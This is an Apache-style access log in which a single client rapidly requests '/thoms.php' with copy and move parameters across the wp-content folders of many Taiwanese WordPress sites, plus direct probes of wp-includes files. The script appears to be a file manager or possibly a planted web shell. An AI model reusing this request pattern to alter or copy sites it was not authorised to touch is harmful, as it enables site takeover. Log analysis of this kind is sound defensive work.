45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bestzyx.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bodbooks.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bossini.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=broadweb.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 200 11333 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 200 11435 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22649 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 200 11439 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22611 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 200 11439 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22610 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/assets/ HTTP/1.1" 200 883 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/block-i18n.json HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:54 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/template-canvas.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/date.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/embed-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/theme-compat/ HTTP/1.1" 200 1389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/images/ HTTP/1.1" 200 1906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/pomo/ HTTP/1.1" 200 1272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/registration-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/block-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/fonts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/media.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/error-protection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/plugin.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
